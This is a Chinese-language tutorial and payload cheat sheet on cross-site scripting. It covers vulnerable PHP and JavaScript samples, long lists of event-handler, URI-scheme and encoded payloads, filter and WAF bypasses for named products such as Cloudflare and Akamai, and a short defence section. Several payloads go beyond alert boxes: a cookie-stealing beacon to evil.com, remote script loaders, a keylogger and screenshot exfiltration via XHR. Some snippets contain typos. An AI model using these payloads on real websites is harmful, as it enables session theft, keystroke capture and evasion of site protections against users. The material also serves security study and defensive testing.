XSS 漏洞,又名 CSS 漏洞(Cross Site Script),跨站脚本攻击,它指的是恶意攻击者向 Web 页面插入恶意 Js 代码,当用户浏览该网页时,嵌入其中 Web 里面的 Js 代码会被执行,从而达到恶意的特殊目的
攻击者在页面插入 XSS 代码,服务端将数据存入数据库,当用户访问到存在 XSS 漏洞的页面时,服务端从数据库中取出数据展示到页面上,导致 XSS 代码执行,达到攻击效果
持久型 XSS 一般出现在网站的留言、评论、博客日志等交互处
<?php
mysql_connect(‘localhost‘,‘root‘,‘‘);
mysql_select_db("test");
mysql_query("utf8");
if(isset($_POST[‘submit‘])) {
$title=$_POST[‘title‘];
$con=$_POST[‘con‘];
$sql="insert into book(id,title,con)values(NULL,‘$title‘,‘$con‘);";
if(mysql_query($sql)){}
} else {
$sql="select * from book";
$row=mysql_query($sql);
while($rows=mysql_fetch_array($row)) {
echo $rows["id"].$rows[‘title‘].$rows[‘con‘]."</br>";
}
}
?>
<form action="1.php" method="post">
<input type="text" name="title"/>
<input type="text" name="con"/>
<input type="submit" name="submit"/>
</form>
攻击者在 URL 中插入 XSS 代码,服务端将 URL 中的 XSS 代码输出到页面上,反射型 XSS 需要攻击者将含有 XSS 的 URL 发送给用户,用户打开特定 URL 造成 XSS 攻击
攻击和在页面/URL中输入 XSS 代码,前端 JS 脚本通过 DOM 操作动态修改页面内容,获取 XSS 代码,并输出到页面,导致 XSS 代码的执行
<div id="output"></div>
<input type="text" id="text" value="">
<button onclick="clickme()">Click me</button>
<script>
function clickme() {
var input = document.getElementById("text").value;
var output = document.getElementById("output");
output.innerHTML = "<a href=‘" + input + "‘>testLink</a>"
}
</script>
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
var s=location.search;
s=s.substring(1,s.length);
var url="";
if(s.indexOf("url=")>-1){
var pos=s.indexOf("url=")+4;
url=s.substring(pos,s.length);
}else{
url="url参数为空";
}
document.write("url: <a href=‘"+url+"‘>"+url+"</a>");
</script>
</head>
<body>
</body>
</html>
[url]http://127.0.0.1/xsstest.html?url=‘<script>alert[/url](‘xsstest‘)</script>
[url]http://127.0.0.1/xsstest.html?url=<script>alert[/url](‘xsstest‘)</script>
[url]http://127.0.0.1/xsstest.html?url=javascript:alert[/url](/xsstest/) (点击触发)
使用 innerHTML 直接输出导致浏览器解析恶意代码
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
var s=location.search;
s=s.substring(1,s.length);
var url="";
if(s.indexOf("url=")>-1){
var pos=s.indexOf("url=")+4;
url=s.substring(pos,s.length);
}else{
url="url参数为空";
}
</script>
</head>
<body>
<span id=‘test‘><a href=""></a></span>
<script type="text/javascript">document.getElementById("test").innerHTML="我的url是: <a href=‘"+url+"‘>"+url+"</a>"; </script>
</body>
</html>
payload1:[url]http://127.0.0.1/xsstest2.html?url=‘<img[/url] src="x"></img>
payload2:[url]http://127.0.0.1/xsstest2.html?url=javascript:alert[/url](/xsstest/) (点击触发)
使用 location/location.href/location.replace/iframe.src 造成的XSS
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
var s=location.search; //返回URL中的查询部分(?之后的内容)
s=s.substring(1,s.length); //返回整个查询内容
var url=""; //定义变量url
if(s.indexOf("url=")>-1){ //判断URL是否为空
var pos=s.indexOf("url=")+4; //过滤掉"url="字符
url=s.substring(pos,s.length); //得到地址栏里的url参数
// }else{ //此处注释掉
// url="url参数为空"; //此处注释掉
}
</script>
</head>
<body>
<span id=‘test‘><a href=""></a></span>
<script type="text/javascript">location.href=url</script>
</body>
</html>
[url=http://127.0.0.1/xsstest3.html?url=javascript:alert]http://127.0.0.1/xsstest3.html?url=javascript:alert[/url](/xsstest/)
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<title></title>
<script type="text/javascript">
var s = location.search;
s = s.substring(1,s.length);
var url = "";
if(s.indexOf("url=")>-1) {
var pos = s.indexOf("url=")+4;
url = s.substring(pos,s.length);
} else {
url = "url参数为空";
}
</script>
</head>
<body>
<textarea id="test" rows="8" cols="40">2s获取url</textarea>
<script type="text/javascript">
function showURL(url){
document.getElementById(‘test‘).value=url;
}
if(url != "url参数为空")
setTimeout("showURL(‘"+url+"‘)", 2000);
//setInterval("showURL(‘"+url+"‘)",3000);
</script>
</body>
</html>
[url=http://127.0.0.1/xsstest4.html?url=]http://127.0.0.1/xsstest4.html?url=‘[/url]);alert("xsstest");eval(‘
eval() 函数
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );
//mysql_close();
}
?>
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = strip_tags( addslashes( $message ) );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( ‘$message‘, ‘$name‘ );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( ‘<pre>‘ . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . ‘</pre>‘ );
//mysql_close();
}
?>
<?php
if( isset( $_POST[ ‘btnSign‘ ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );
// Get input
$message = trim( $_POST[ ‘mtxMessage‘ ] );
$name = trim( $_POST[ ‘txtName‘ ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$message = htmlspecialchars( $message );
// Sanitize name input
$name = stripslashes( $name );
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
$name = htmlspecialchars( $name );
// Update database
$data = $db->prepare( ‘INSERT INTO guestbook ( comment, name ) VALUES ( :message, :name );‘ );
$data->bindParam( ‘:message‘, $message, PDO::PARAM_STR );
$data->bindParam( ‘:name‘, $name, PDO::PARAM_STR );
$data->execute();
}
// Generate Anti-CSRF token
generateSessionToken();
?>
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Feedback for end user
echo ‘<pre>Hello ‘ . $_GET[ ‘name‘ ] . ‘</pre>‘;
}
?>
<?php
header ("X-XSS-Protection: 0");
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Get input
$name = preg_replace( ‘/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i‘, ‘‘, $_GET[ ‘name‘ ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
?>
<?php
// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ ‘name‘ ] != NULL ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ ‘user_token‘ ], $_SESSION[ ‘session_token‘ ], ‘index.php‘ );
// Get input
$name = htmlspecialchars( $_GET[ ‘name‘ ] );
// Feedback for end user
echo "<pre>Hello ${name}</pre>";
}
// Generate Anti-CSRF token
generateSessionToken();
?>
XSS 攻击的前提是注入代码到用户页面,而 XSS 的注入位置通常决定了注入时使用的闭合手法和利用手法
特点
构造的内容被输出到 HTML 页面标签的属性中
案例
echo ‘<a href="/?‘ . $_GET[‘a‘] . ‘">属性注入 - 未实体化</a><br>‘;
说明
对于属性型注入,有两种选择:
‘
或 "
进行闭合,注入新事件属性【payload】a=" onclick="alert(1) # 增加属性
‘/"
和 >
进行闭合,并注入新标签【payload】a="><script>alert(1)</script> # 增加标签
特点
构造的内容被输出到 HTML 页面的内容中
案例
echo ‘<div>‘. $_GET[‘xx‘].‘ 内容注入-未实体化</div>‘; // 情形1
echo ‘<title> XSS测试‘ . $_GET[‘title‘] . ‘</title>‘; // 情形2
说明
对于内容型注入,可能面临两种情况:
构造的内容被普通元素标签包裹
此类标签内部支持内嵌其他标签,因此对于此类型可以直接构造标签,无需闭合
【payload】xx=<script>alert(1)</script>
构造的内容被特殊标签 RCDATA 型标签包裹(如 <title>
、<textarea>
)
此类标签不允许内部插入其他标签,只允许容纳文本和字符引用,因此需要先对此类标签进行闭合,再插入其他标签
【payload】title=</title><script>alert(1)</script><title>
特点
构造的内容被输出到 CSS 样式中
案例
echo htmlspecialchars($_GET[‘style‘]);
说明
<div style="{left: expression(alert(‘xss‘))}"></div> //仅IE有效
<style type="text/css">@import url(http://www.xx.css)</style>
body {
event: expression (
onload = function() {
alert(‘XSS‘);
}
)
}
备注:expression()表达式在IE7及以下是有效的,在IE8及以上就失效了
注释注入
”;!–”<XSS>=&{()}
<XSS
或 <XSS
根据HTML规范,标签名称必须以字母开头。利用此规范,可以使用以下探针来确定用于匹配标签名称的正则表达式
标签探针 | 说明 |
---|---|
<svg |
无检查 |
<dev |
<[a-z] |
x<dev |
^<[a-z]+ |
<dEv |
<[a-zA-Z]+ |
<d3V |
<[a-zA-Z]+ |
<d|3v |
<.+ |
填充符探针 | 说明 |
---|---|
<tag xxx |
无检查 |
<tag%09xxx |
[\s] |
<tag%09%09xxx |
\s+ |
<tag/xxx |
[\s/]+ |
<tag%0axxx |
[\s\n]+ |
<tag%0dxxx |
[\s\n\r]+ |
<tag/~/xxx |
.*+ |
事件属性探针 | 说明 |
---|---|
tag{filter}onclick |
on(load|click|error|show...) |
tag{filter}onxxx |
on\w+ |
参考:https://github.com/s0md3v/MyPapers/tree/master/Bypassing-XSS-detection-mechanisms
利用 script 标签,直接引入 js 脚本
内部引入
<script>
alert(1)
</script>
外部引入
<script src="http://www.hack.com/xss.js"></script>
利用特殊标签所支持的事件属性执行 JS 代码
事件属性 | 说明 | 备注 |
---|---|---|
onafterprint | ||
onbeforeprint | ||
onbeforeunload | ||
onerror | ||
onhachange | ||
onunload | ||
onundo | ||
onmessage | ||
onblur | ||
onselect | ||
onkeydown | ||
onkeypress | ||
onkeyup | ||
onafterprint | ||
onbeforeprint | ||
onbeforeunload | ||
onerror | ||
onauxclick | ||
ondblclick | ||
oncontextmenu | ||
onmouseleave | ||
ontouchcancel |
标签 | 常用事件 |
---|---|
input | onfoucs |
body | onpageshow |
style | onload |
marquee | onbounce、onfinish、onstart |
audio/video | oncanplay、ondurationchange、onended、onloadeddata、onloadedmetadata、onloadstart、onprogress、onsuspend |
details | |
svg | |
button | |
select | |
input | |
kegen | |
textarea | |
video |
<body onpageshow=alert(1)>
<style onload=alert(1) />
<marquee onstart=alert(1)>hack the planet</marquee>
<marquee behavior="alternate" onstart=alert(1)>hack the planet</marquee>
<marquee loop="1" onfinish=alert(1)>hack the planet</marquee>
<audio oncanplay=alert(1) src="/media/hack-the-planet.mp3" />
<audio ondurationchange=alert(1) src="/media/hack-the-planet.mp3" />
<audio autoplay=true onended=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadeddata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadedmetadata=alert(1) src="/media/hack-the-planet.mp3" />
<audio onloadstart=alert(1) src="/media/hack-the-planet.mp3" />
<audio onprogress=alert(1) src="/media/hack-the-planet.mp3" />
<audio onsuspend=alert(1) src="/media/hack-the-planet.mp3" />
<video oncanplay=alert(1) src="/media/hack-the-planet.mp4" />
<video ondurationchange=alert(1) src="/media/hack-the-planet.mp4" />
<video autoplay=true onended=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadeddata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadedmetadata=alert(1) src="/media/hack-the-planet.mp4" />
<video onloadstart=alert(1) src="/media/hack-the-planet.mp4" />
<video onprogress=alert(1) src="/media/hack-the-planet.mp4" />
<video onsuspend=alert(1) src="/media/hack-the-planet.mp4" />
<details open ontoggle=propot(1)>
<button onfocus=prompt(1) autofocut>
<select autofocus onfocus=prompt(1)>
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/lte">
<kegen autofocut onfoucs=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/lte">
<textarea autofocut onfoucs=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/lte">
<video onkeyup=setTimeout`al\x53t\x28/2/\x29```
<details open ontoggle=top.alert(1)>
<details open ontoggle=top[‘prompt’](1)>
<details open ontoggle=top[‘al’%2b’ert’](1)>
<details open ontoggle=[1].find(alert)>
<details open ontoggle=[1].%65very(alert)>
<details open ontoggle=[1].u0066orEach(alert)>
<details open ontoggle=top.eval(‘ale’%2B’rt(1)’) >
<svg onmouseover=setInterval`alx65rtx28/xss/x29```>
<svg onmouseover=setTimeout`alx65rtx28/xss/x29```>
<svg onmouseover=Set.constructor`alx65rtx28/xss/x29```>
<svg onmouseover=u0063lear.constructor`alx65rtx28/xss/x29```>
<input autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<keygen autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<textarea autofocus onfocus=s=createElement("scriPt");body.appendChild(s);s.src="//xss.xx/1te">
<svg onxxx = xxx>,<marquee onxxx = xxx>,<audio onxxx = xxx>
<img src="#" onerror="alert(/XSS/)">
<img src="1" onerror=eval("\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29")></img>
<img src="#" onerror=s=createElement(‘script‘);body.appendChild(s);s.src=‘xss.js‘;>
<x oncopy = alert(‘XSS‘)>复制这个
alert()prompt()confirm()
等待!让我们升级他们!
alert`` prompt`` confirm``
让我们更进一步的升级!
(alert)``(prompt)``(confirm)``
利用特殊标签的特殊属性,加载 JS 代码,常用属性如 href、src、lowsrc、bgsound、value、action、dynsrc
标签 | 属性 | 说明 |
---|---|---|
a | href | 支持 javascript 协议 |
iframe | src | 支持 data、javascript 协议 |
object | data | 支持 data 协议 |
javascript 协议
<a href="javascript:alert(1)">x</a>
<iframe src="javascript:alert(1)" style="display: none;"></iframe>
data 协议
data:[数据类型][;charset=<charset>][;base64],编码数据
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe>
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
利用跨域标签携带 cookie
var img = document.createElement("img");
img.src = ‘http://www.evil.com/?‘ + escape(document.cookie);
docuemnt.body.appendChild(img);
信息截取通常需要加载外部 JS 文件,常用的 payload 如下
setTimeout(function() {
var d = document;
var a = d.createElement(‘script‘);
a.setAttribute(‘src‘,‘/scripts/screenshot.js‘);
d.head.appendChild(a);
}, 1000)
编码为十进制数后为如下格式:
<img src="/media/hack-the-planet.jpg" onload=eval(String.fromCharCode(115,101,116,84,105,109,101,111,117,116,40,102,117,110,99,116,105,111,110,40,41,123,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,97,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,97,46,115,101,116,65,116,116,114,105,98,117,116,101,40,39,115,114,99,39,44,39,47,115,99,114,105,112,116,115,47,115,99,114,101,101,110,115,104,111,116,46,106,115,39,41,59,100,46,104,101,97,100,46,97,112,112,101,110,100,67,104,105,108,100,40,97,41,59,125,44,49,48,48,48,41)) />
document.addEventListener(‘keypress‘, function (event) {
var xhr = new XMLHttpRequest()
xhr.open(‘POST‘, ‘/keylogger‘)
xhr.setRequestHeader(‘Content-Type‘, ‘application/x-www-form-urlencoded‘)
xhr.send(‘data=‘ + event.key)
})
html2canvas(document.querySelector("body")).then(canvas => {
var xhr = new XMLHttpRequest()
xhr.open(‘POST‘, ‘/screenshot‘)
xhr.setRequestHeader(‘Content-Type‘, ‘application/x-www-form-urlencoded‘)
xhr.send(‘data=‘ + encodeURIComponent(canvas.toDataURL()))
});
获取用户真实 IP
识别用户浏览器
alert(navigator.userAgent);
识别用户安装的软件
try {
var Obj = new ActiveXObject(‘XunLeiBHO.ThunderIEHelper‘)
} catch (e) {
}
var m = new Image();
m.onload = function() {
alert(1);
}
m.onerror = function() {
alert(2);
}
m.src = "chrome://flashgot/skin/icon32.png"
攻击者可以创建和网站登录页面一模一样的钓鱼页面,以假乱真,形成有效攻击。毕竟,大部份受害者只要看到正确的域名,就不会对登录页面产生太多质疑。比如,可以被构造用来向用户发送提示通知,告诉用户需要通过某个号码去联系客户支持部门,如果这种提示显示在和用户访问的目标网站相同的域名上,那么其可信度就相当高了,只要用户拨通所谓的客户部门电话,个人敏感信息就会被攻击者轻易获得
XSS 防御速查表,https://www.freebuf.com/articles/web/156622.html
转义防御是最常用的防御 XSS 攻击的方式,html 转义是将特殊字符或 html 标签转换为与之对应的字符,具体的转义函数通常由语言本身提供
理论上,应保证如下位置数据必须进行转义:
在 PHP 中可以使用 htmlspecialchars()
函数或 htmlentites()
函数将字符实体编码,其中 htmlspecialchars()
只转换 & 、’、 “、 <、> 这 5 个特殊符号,而 htmlentites()
会转化所有的 HTML 代码
原始字符 | 转义实体 | 备注 |
---|---|---|
& | & | |
" | " | |
‘ | ' ' | PHP 默认只转义双引号,不转义单引号 |
< | < | |
> | > |
$str = ‘><\‘"&aa你好‘;
echo $str . "\n";
// ><‘"&aa 你好
echo htmlspecialchars($str) . "\n";
// ><'"&aa 你好
echo htmlspecialchars($str, ENT_QUOTES) . "\n";
// ><‘"&aa ä½ å¥½
echo htmlentities($str) . "\n";
// ><'"&aa 你好
echo htmlentities($str, ENT_QUOTES, "utf-8") . "\n";
备注:包含中文时,一般使用 htmlspecialchars,因为直接使用 htmlentites 会输出乱码,需要明确指定编码才可使用
注意:PHP 中
htmlspecialchars
和htmlentites
函数都默认不会对单引号进行实体化,除非明确指定转换参数ENT_QUOTES
HttpOnly 是一种防御 XSS 攻击的手段,如果 cookie 信息中设置了 HttpOnly 属性,则通过 js 脚本将无法读取该 cookie 信息。HttpOnly 可以很好的保护用户 cookie 不被转发窃取,但并不能完全防御 XSS 攻击的其他利用形式,如 XSS + CSRF 攻击直接修改用户密码达到窃取用户身份的目的
使用特定的 Content-Type 响应头,可以阻止浏览器进行 JS 解析
以 AJAX JSON 格式的前后端交互为例,应确保系统返回的 Content-Type 头部是application/json 而不是 text/html,这保证了浏览器不会误解内容并执行注入代码
典型案例
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: text/html; charset=utf-8 <-- 错误
Content-Length: 373
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
{"Message":"No HTTP resource was found that matches the request URI ‘dev.net.ie/api/pay/.html?HouseNumber=9&AddressLine=The+Gardens<script>alert(1)</script>&AddressLine2=foxlodge+woods&TownName=Meath‘.","MessageDetail":"No type was found that matches the controller named ‘pay‘."} <--脚本将会执行!!
正确案例
HTTP/1.1 200
Date: Wed, 06 Feb 2013 10:28:54 GMT
Server: Microsoft-IIS/7.5....
Content-Type: application/json; charset=utf-8 <--正确
.....
浏览器端的方案,它允许你为你的Web应用客户端资源创建一个白名单,限制范围包括JavaScript、CSS、图像等等。CSP(ContentSecurity Policy)通过特定的HTTP头部告诉浏览器只执行或呈现指定来源的内容。CSP的示例如下:
Content-Security-Policy: default-src: ‘self‘; script-src: ‘self‘ static.domain.tld
上面的示例会告诉浏览器只加载来源是当前域的资源,对于JavaScript文件则除当前域外,可以额外从static.domain.tld加载
过滤绕过能否
因为过滤了括号,所以使用``(反引号进行利用):
"javascript:","vbscript:","data:"
HTML 标签属性支持不添加属性引号(浏览器会自动补充引号)
关键字拆分
利用回车、空格、Tab 键绕过(js 自动会略空白)
<img src="javas
cript:alert(/xss/)" width=100>
编码绕过
HTML 属性值支持编码,可将响应 ASCII 字符转换为相应实体编码,分为 HEX 实体编码和 DEC 实体编码
<img src=1 onerror=vbs:msgbox+1>
<body onload=`vbs:execScript"alert(0)","javascript"`></body>
备注:Tab符 	,换行符 
,回车符
,可以被插入代码任意地方,可以将 、 等字符插入到 Javascript 或 Vbscript 的头部
全角字符绕过
<xss style="xss:expreesion(alert(‘XSS‘))">
<div style="{left:}"
注释符绕过
<xss style="xss:expr/*XSS*/ession(alert(‘XSS‘))">
<div style="wid/****/th: expre/*XSS*/ssion(alert(‘XSS‘))"
结束符绕过
样式标签中的 \ 和结束符 \0 会自动被浏览器忽略
@\0im\port‘\0ja\vasc\ript:alert("xss")
@\i\0m\00p\000o\0000\00000r\000000t"url"
样式标签中的属性值支持转码
<p style="xss:\64xpression(alert(/XSS/))">
利用注释
输入框要求输入特定的关键字,才能成功提交
注释相关关键字
javascript:alert(1)/*http://www.baidu.com*/
javascript: http://www.xixi.com alert(1)
onmouseover
autofocus onfocus
//
利用替代关键字
# 当 script、on 关键字不可用时,可先闭合标签,再利用 a 标签弹出
"> <a href="javascript:alert(‘test‘)">link</a>
大小写绕过
将关键词大小写,绕过检测
<iMG sRC="jaVasCript:alert(0);">
双写绕过
将关键词双写拼接,绕过单次过滤
单双引号绕过
<img src=‘javascript:alert(0);‘>
<img src=javascript:alert(0);>
<img/src="javascript:alert(0);">
使用编码法有如下几点需要注意:
一个基本的 HTML 结构如下所示:
<标签 属性名=‘属性值‘>内容</标签>
浏览器支持对 HTML 的属性值和内容进行 HTML 实体编码,但不支持对标签名、属性名、结构符号进行编码
<h1 id=x<y>1&2</h1>
实体编码格式
HTML 标签的实体编码格式有如下特性:
<
<
<
<
,<
等<
、<
等<
、<
<!-- 实体编码格式测试 -->
<h1>1 < 2 < 3 < 4 < 5 < 6</h1>
注意:由于 HTML 实体编码,发生于浏览器 HTML DOM 树解析后,无论在哪个位置进行实体编码,都无法改变已有的浏览器 DOM 树,即用于注入标签、属性等,但可用于躲避 WAF 检查
常用 payload
<img src=# onerror=alert(/xss/)>
<img src=# oneeror=eval("\x61x6cert(/xss/)")>
<img src="#" onerror="alert(2)">
<IMG SRC=javascript:alert(
'XSS')>
<IMG SRC=javascript:a&
#0000108ert('XSS')>
标识编码格式
JS 中的标识名 (变量名/函数名等)支持 unicode 编码,要求必须以 \u 开始,必为为四位16进制,但需要注意的是,不能对控制字符进行编码,如 .
,()
等
name = "12345";
console.log(name);
\u0063\u006f\u006e\u0073\u006f\u006c\u0065.\u006c\u006f\u0067(\u006e\u0061\u006d\u0065);
备注:在线 Unicode 编码:http://www.jsons.cn/unicode/
字符串编码格式
支持八进制,必须以 \ 开始,必须为两位
支持十六进制,必须以 \x 开始,必须为两位(\x)
支持 unicode 编码,要求必须以 \u 开始,必为为四位16进制
console.log("a")
console.log("\u6001")
console.log("\141")
console.log("\x61")
eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")
eval("\u0061\u006c\u0065\u0072\u0074\u0028\u0022\u0078\u0073\u0073\u0022\u0029")
备注:在线 ASCII 转换工具
常用 payload
<script>\u0061\u006C\u0065\u0072\u0074(1)</script>
document.write(‘\x3C\x73\x63\x72\x69\x70\x74\x3E\x61\x6C\x65\x72\x74\x28\x27\x70\x6F\x72\x75\x69\x6E\x27\x29\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E‘);
注意:HTML 的事件属性中支持 JS 脚本,因此既可以使用 JS 编码,又可以使用 HTML 实体。script 标签块内却不支持 HTML 实体引用,但支持 js 编码
在 a 标签等的 href 属性中,支持对其该属性进行 URL 编码,但需要注意,如果需要使用 javascript 协议,不支持对协议名进行编码
<a href="%6a%61%76%61%73%63%72%69%70%74:%61%6c%65%72%74%28%31%29"></a>
<a href="javascript:%61%6c%65%72%74%28%32%29"></a>
<a href="javascript:%alert(2)"></a>
eval(String.fromCharCode(97,108,101,114,116,40,49,41))
eval(‘~a~le~rt~~(~~1~~)~‘.replace(/~/g, ‘‘))
eval(/~a~le~rt~~(~~1~~)~/.source.replace(/~/g, new String()))
(1, eval)(‘alert(1)‘) // 利用括号
eval.call(null, ‘alert(1)‘) // 录用call
function xxx () { // 利用函数
alert(1)
}
new Function(‘alert(1)‘)() // 利用Funtion对象
备注:JS 在线混淆 https://www.css-js.com/tools/compressor.html?tab=jspacker
利用 Boyer-Moore 算法特点构造错误标签
<<SCRIPT>alert(“XSS”);//<</SCRIPT>
利用不同浏览器引擎的解析差异进行绕过
<SCRIPT/XSS SRC=”http://xss.rocks/xss.js“></SCRIPT>
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=alert(“XSS”)>
<SCRIPT SRC=http://xss.rocks/xss.js?< B >
<IMG SRC=”javascript:alert(‘XSS’)”
<iframe src=http://xss.rocks/scriptlet.html <
转义过滤并不能完全防止 XSS 注入,转义过滤会在如下情况下失效:
浏览器渲染的过程主要包括以下五步:
对于 XSS 漏洞而言,我们最感兴趣的是 HTML 文档解析为 DOM 树的过程
Html5 规范中描述了这个解析算法,算法包括两个阶段——符号化 及 构建树。符号化是词法分析的过程,将输入解析为符号,html 的符号包括开始标签、结束标签、属性名及属性值,当符号识别器识别出符号后,将其传递给树构建器,并读取下一个字符,以识别下一个符号,这样直到处理完所有输入
HTML 解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。以如下 HTML 为例
<html>
<body>
Hello world
</body>
</html>
在解析过程中,初始状态为 Data state
,如果遇到 < 字符,状态变为 Tag open state
,此时有两种情况,如果读取到 [a-z] 则进入 Tag name state
状态,如果如读取到 \ 则进入 Close tag open state
,在 Tag name state
状态循环读取 [a-z] 直到遇到 > 字符回到 Data State
在树的构建阶段,将修改以Document为根的DOM树,将元素附加到树上。每个由符号识别器识别生成的节点将会被树构造器进行处理,规范中定义了每个符号相对应的Dom元素,对应的Dom元素将会被创建。这些元素除了会被添加到Dom树上,还将被添加到开放元素堆栈中。这个堆栈用来纠正嵌套的未匹配和未闭合标签,这个算法也是用状态机来描述,所有的状态采用插入模式
浏览器中的基本解析顺序如下:URL 解析器,HTML 解析器,CSS 解析器,CSS 解析器
注意:浏览器解析 HTML,并将标签转化为内容树中的DOM 节点,识别标签时,HTML 解析器是无法识别哪些被实体编码的内容的,只有建立起DOM 树,才能对每个节点的内容进行识别,如果此时出现实体编码,则会进行实体解码
HTML 中有五类元素
元素种类 | 示例 | 说明 |
---|---|---|
空元素 | 如 <area>,<br>,<base> | 不能容纳任何内容 |
原始文本元素 | 如 <script>,<style> | 可以容纳文本 |
RCDATA 元素 | 如 <textarea>,<title> | 可以容纳文本和字符引用 |
外部元素 | MathML / SVG 命名空间的元素 | 可以容纳文本、字符引用、CDATA段、其他元素和注释 |
基本元素 | 除以上四种元素外 | 可以容纳文本、字符引用、其他元素和注释 |
WAF名称:Cloudflare
Payload:<a”/onclick=(confirm)()>click
绕过技术:非空格填充
WAF名称:Wordfence
Payload:<a/href=javascript:alert()>click
绕过技术:数字字符编码
WAF名称:Barracuda
Payload:<a/href=Java%0a%0d%09script:alert()>click
绕过技术:数字字符编码
WAF名称:Akamai
Payload:<d3v/onauxclick=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:Comodo
Payload:<d3v/onauxclick=(((confirm)))“>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:F5
Payload:<d3v/onmouseleave=[2].some(confirm)>click
绕过技术:黑名单中缺少事件处理器以及函数调用混淆
WAF名称:ModSecurity
Payload:<details/open/ontoggle=alert()>
绕过技术:黑名单中缺少标签或事件处理器
WAF名称:dotdefender
Payload:<details/open/ontoggle=(confirm)()//
绕过技术:黑名单中缺少结束标签、事件处理器和函数调用混淆
